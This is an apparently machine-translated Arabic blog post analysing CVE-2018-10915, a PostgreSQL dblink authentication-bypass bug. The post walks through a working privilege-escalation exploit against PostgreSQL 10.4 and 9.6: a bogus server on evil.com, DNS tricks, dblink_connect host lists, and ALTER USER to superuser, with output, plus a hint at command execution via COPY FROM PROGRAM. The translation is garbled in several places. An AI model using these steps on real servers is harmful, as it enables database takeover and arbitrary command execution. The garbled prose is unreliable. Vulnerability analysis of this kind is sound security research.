تصاعد امتياز PostgreSQL - تحليل CVE-2018-10915

KDPV

ليس سرا أن سيارات الدولة بيننا. هم حرفيا في كل مكان ، من واجهة المستخدم إلى مكدس الشبكة. معقدة في بعض الأحيان ، بسيطة في بعض الأحيان. في بعض الأحيان ذات الصلة بالأمن ، وأحيانا لا جدا. ولكن ، في كثير من الأحيان ، رائعة للغاية للدراسة :) اليوم أريد أن أتحدث عن حالة مضحكة مع PostgreSQL - CVE-2018-10915 ، والتي سمحت بزيادة الامتيازات للمستخدم الخارق.


مقدمة صغيرة


كما تعلم ، فإن قواعد البيانات المدارة تسير بخطى سريعة في العالم. ليس من المستغرب - إذا كان لديك تطبيق بسيط لا يتطلب الكثير ، فلماذا تلعن في إعداد قاعدتك. في الواقع ، مع معظم مزودي السحابة (أو المتخصصين) ، يمكنك الحصول على نفسك قاعدة بيانات MySQL / PostgreSQL / MongoDB / etc والعيش في سعادة دائمة. بالطبع ، هذا تسبب مشاكل إضافية ، كما إذا كان الأمر من قبل ، من أجل استغلال معظم مشكلات الأمان في قواعد البيانات ، يجب عليك أولاً الحصول على التطبيق (والذي هو في حد ذاته أكثر من لعبة في معظم الحالات) ، والآن الحمار العارية واجهتهم تقف إلى المهاجم. يجب أن يكون هناك تعليق حول حقيقة أن الحاجز التالي يجب أن يكون بنية تحتية عالية الجودة وهذا صحيح ، ولكن اليوم لا يتعلق بذلك.


جوهر CVE-2018-10915


  • في معظم الحالات ، لا يتطلب PostgreSQL مصادقة للاتصالات المحلية. مثال من صورة عامل الميناء الرسمي:

# pg_hba.conf from PostgreSQL docker image # note: debian pkg marked only "local" connections as trusted # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust 

  • بفضل ملحقات dblink و postgres_fdw ، يمكنك الاتصال بقواعد البيانات البعيدة. واستنادا إلى المنتديات ، غالبا ما يسأل المستهلكون عن مدى توفرها ؛)
  • تم حرق المؤلفين بالفعل في تصعيد الامتياز ، لذلك قاموا باختراق يحظر الاتصالات دون مصادقة:

 // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/contrib/dblink/dblink.c#L2621-L2639 static void dblink_security_check(PGconn *conn, remoteConn *rconn) { if (!superuser()) { if (!PQconnectionUsedPassword(conn)) { PQfinish(conn); if (rconn) pfree(rconn); ereport(ERROR, (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED), errmsg("password is required"), errdetail("Non-superuser cannot connect if the server does not request a password."), errhint("Target server's authentication method must be changed."))); } } } // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/src/interfaces/libpq/fe-connect.c#L6305-L6314 int PQconnectionUsedPassword(const PGconn *conn) { if (!conn) return false; if (conn->password_needed) return true; else return false; } 

  • يتم تعيين العلامة password_needed بواسطة جهاز الحالة بعد تلقي رسالة AUTH_REQ_MD5 أو AUTH_REQ_PASSWORD من الخادم
  • يمكن أن يتجاوز libpq عناوين IP متعددة (pg 9.x) أو مضيفات (pg 10.x / 11.x) بحثًا عن مناسبة
  • ينتقل جهاز الحالة إلى عنوان IP / المضيف التالي بعد تعيين إشارة password_needed في حالتين مناسبتين لنا:
    • نريد جلسة قابلة للكتابة ( target_session_attrs=read-write ) ، والخادم للقراءة فقط
    • عند استلام خطأ unknown application_name
  • عند الانتقال إلى عنوان IP / المضيف التالي ، يُطلق على pqDropConnection ، الذي ينظف بيانات الاتصال بشكل انتقائي (حيث قد تكون هناك حاجة إلى بعضها لإعادة الاتصال). تلميح: password_needed لا إعادة تعيين
  • هذا يسمح بتجاوز التحقق dblink_security_check ، كما عند الاتصال بالمضيف التالي ، تظل العلامة بالقيمة السابقة
  • الربح

وبالتالي ، إذا كان لدينا أي مستخدم لديه حق الوصول إلى dblink و PostgreSQL مع اتصالات موثوق بها لهذا المضيف ، فيمكننا تجاوز متطلبات المصادقة بكلمة مرور ، والاتصال نيابة عن مشرف postgres ، وتنفيذ أي شيء نيابة عنه (على سبيل المثال ، الأوامر التعسفية باستخدام COPY foo FROM PROGRAM 'whoami'; ).


من النظرية إلى التطبيق - PostgreSQL 10.4!


لكنك لن تغضب من نظرية واحدة ، لذلك قمت بإعداد مثال صغير على استغلال هذه الثغرة الأمنية. سنبدأ مع PostgreSQL 10.4.


  • أولاً ، قم بكتابة وتشغيل خادم PostgreSQL بسيط ( bogus-pgsrv ) ، والذي سيتطلب مصادقة كلمة المرور لأي طلب وإرسال خطأ ERRCODE_APPNAME_UNKNOWN بعد استلامه:

 $ psql "host=evil.com user=test password=test application_name=bar" psql: ERROR: unknown app name could not connect to server: Connection refused Is the server running on host "evil.com" (1.1.1.1) and accepting TCP/IP connections on port 5432? 

  • الآن إعداد اختبار PostgreSQL:

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:10.4 e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545 $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

  • نتحقق من أن test المستخدم ليس لديه حقوق محددة:

 $ psql "host=localhost user=test password=test" <<'SQL' \du SQL List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test 

  • ممتاز ، ونحن نعمل الآن:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser 

  • هذا كل شئ. يمكننا أن نفعل ما نريد ^ _ ^

من النظرية إلى التطبيق - PostgreSQL 9.6!


مع PostgreSQL 9.x ، الأمور معقدة بعض الشيء ، لأن لا يدعم تعداد قائمة المضيفين للاتصال. ولكن إذا تم حل العنوان في عدة عناوين IP ، فسيتجاوزها جميعًا! ومنذ ذلك الحين الأولوية لعناوين IPv6 (انظر RFC6724 ) ، يمكننا أن نفعل الشيء نفسه فقط عن طريق الإجابة على عناوين IP لدينا لطلب AAAA ، و 127.0.0.1 إلى A + إسقاط الاتصالات لبضع ثوان بعد إرسال ERRCODE_APPNAME_UNKNOWN :


  • تحضير DNS:

 $ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba 

  • تشغيل نفس وهمية pgsql
  • وقم بإعداد اختبار PostgreSQL مرة أخرى (يجب أن يعمل IPv6 مع عامل الميناء ، هذا مهم):

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6 dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

  • نحن نعمل:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser | {} 

  • هذا كل شئ. يمكننا أن نفعل ما نريد ^ _ ^

الخاتمة


أردت أن أختتم كلامي بكتابة شيء ذكي ، لكن لسوء الحظ ، ليس لدي طريقة جيدة وبسيطة وعالمية للتحقق من أن كل شيء على ما يرام مع جهاز الدولة الخاص بك. هناك العديد من المحاولات ، لكن مما رأيته أنها إما متخصصة للغاية ، أو أنها لا تزال تتعامل مع الأخطاء المنطقية. يبقى أن نأمل في اليقظة وزوج من العيون الإضافية على الاستعراض :(

Source: https://habr.com/ru/post/ar440394/


All Articles